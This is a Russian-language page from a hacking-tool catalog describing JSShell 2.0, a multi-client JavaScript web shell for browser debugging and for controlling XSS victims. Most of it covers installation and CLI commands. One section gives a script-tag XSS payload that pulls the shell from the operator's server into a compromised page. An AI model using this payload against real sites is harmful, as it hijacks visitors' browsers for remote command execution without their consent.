Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
JSShell — Интерактивная многопользовательская веб-оболочка для JavaScript | Kitploit
Инструменты/GitHubGitHub/den1al/jsshell
ЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubden1al/jsshell

JSShell

Интерактивная многопользовательская веб-оболочка для JavaScript

Репозиторий
3647016 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

JSShell 2.0

made-with-python Generic badge Generic badge

Интерактивная многопользовательская веб-оболочка на JavaScript. Изначально была создана для отладки удаленных экзотических браузеров во время экспериментов и исследований. Этот инструмент можно легко прикрепить к XSS (межсайтовый скриптинг) пейлоаду для достижения удаленного выполнения кода в браузере (аналогично фреймворку BeeF).

Версия 2.0 создана с нуля, представляя новые захватывающие возможности, стабильность и удобство сопровождения.

Версия: 2.0

Автор

Даниэль Абелес.

Видео оболочки

asciicast

Возможности

  • Поддержка нескольких клиентов
  • Поддержка циклических DOM-объектов
  • Предварительные скрипты
  • Очередь команд и контекст
  • Расширяемость с помощью плагинов
  • Внедрение через теги <script>
  • Вывод результатов команд в файл
  • Постраничная навигация в оболочке
  • Поддержка HTTPS! Generic badge

Установка и настройка

Файл конфигурации

В каталоге resources обновите файл config.json в соответствии с вашей конфигурацией:

  • Хост базы данных — если используется метод развертывания docker, укажите хост базы данных как db (внутреннее имя хоста).
  • Return URL — URL, по которому будут следовать запросы. Файл shell.js выполняет AJAX-вызовы для регистрации и опроса новых команд. Обычно это http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}.
  • Startup script — скрипт, который запускается автоматически при запуске CLI-клиента JSShell.
  • Domain — если вы хотите генерировать TLS-сертификаты, это доменное имя, которое будет использовать сервер.
  • Также можно указать удаленную базу данных, если необходимо.

Let's Encrypt

Теперь JSShell поддерживает TLS, что означает, что вы можете генерировать TLS-сертификаты и передавать их веб-серверу. Веб-сервер определит доменное имя из файла config.json. Чтобы создать сертификат, используйте скрипт create_cert.py в папке scripts:

root@kitploit:~
$ cd scripts
$ python create_cert.py --domain <ВАШ_ДОМЕН> --email <ВАШ_EMAIL>
поле email является необязательным.

Обратите внимание, что веб-сервер должен быть остановлен, чтобы скрипт работал корректно. На этом этапе мы успешно сгенерировали наши сертификаты! Единственные изменения, которые необходимо внести:

  • В файле config.json измените схему поля URL на https.
  • В файле docker-compose.yml измените открытый порт контейнера web на 443.

Docker

Эта новая версия поддерживает установку и запуск JSShell через docker и docker-compose. Теперь, чтобы установить и запустить весь фреймворк JSShell, просто выполните:

root@kitploit:~
$ ./scripts/start_docker_shell.sh

Этот скрипт сделает следующее:

  • Запустит и создаст базу данных в фоновом режиме
  • Запустит веб-API сервер, обрабатывающий входящие подключения, в фоновом режиме
  • Создаст новый экземпляр контейнера командной строки JSShell

Обычный способ

Если вы все еще хотите использовать старый метод установки, просто убедитесь, что у вас запущена база данных MongoDB и обновите файл config.json, находящийся в каталоге resources.

Я рекомендую использовать виртуальное окружение с pyenv:

root@kitploit:~
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

Или с помощью virtualenv:

root@kitploit:~
$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Затем установите зависимости:

root@kitploit:~
$ pip install -r requirements.txt

Запуск

Если вы использовали метод docker, выполнять следующую процедуру не нужно.

Веб-сервер

В противном случае, после настройки базы данных необходимо запустить веб-API сервер. Для этого выполните:

root@kitploit:~
$ python manage.py web

Это создаст и запустит веб-сервер, который будет прослушивать входящие подключения и предоставлять наш код JSShell.

Оболочка

Теперь, чтобы запустить CLI JSShell, выполните тот же скрипт, но с флагом shell:

root@kitploit:~
$ python manage.py shell

Использование

После настройки и запуска необходимых компонентов введите команду help, чтобы увидеть доступные команды:

root@kitploit:~
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        от @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Редактировать файл в текстовом редакторе
help                Вывести список доступных команд или получить подробную справку по конкретной команде
history             Просмотреть, выполнить, отредактировать, сохранить или очистить ранее введенные команды
ipy                 Войти в интерактивную оболочку IPython
py                  Выполнить команду Python или войти в оболочку
quit                Выйти из приложения

Shell Based Operations
--------------------------------------------------------------------------------
back                Отменить выбор текущего выбранного клиента
clients             Список и управление клиентами, зарегистрированными в нашей системе
commands            Показать выполненные команды для выбранного клиента
dump                Сохранить вывод команды на диск
execute             Выполнить команды на выбранном клиенте
select              Выбрать клиента как текущий

>> 

Схема работы

JSShell поддерживает 2 метода работы:

  1. Внедряемая оболочка (аналогично фреймворку BeeF)
  2. Размещенная оболочка (для отладки)

Внедряемая оболочка

Подобно другим фреймворкам управления XSS (например, BeeF), JSShell способен управлять успешными эксплуатациями XSS. Например, если вы можете внедрить тег script, вставьте следующий ресурс в свой пейлоад, и в консоли появится новый клиент:

<script src="http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}/content/js"></script>

Размещенная оболочка

Если вы хотите отлаживать экзотические и необычные браузеры, просто перейдите по адресу http[s]://{IP_ВАШЕГО_СЕРВЕРА}:{ПОРТ}/ и в вашем CLI-клиенте JSShell появится новый клиент. Теперь его можно отлаживать через консоль JSShell.

Благодарности

Canop за JSON.prune

используйте на свой страх и риск.
Скачать инструмент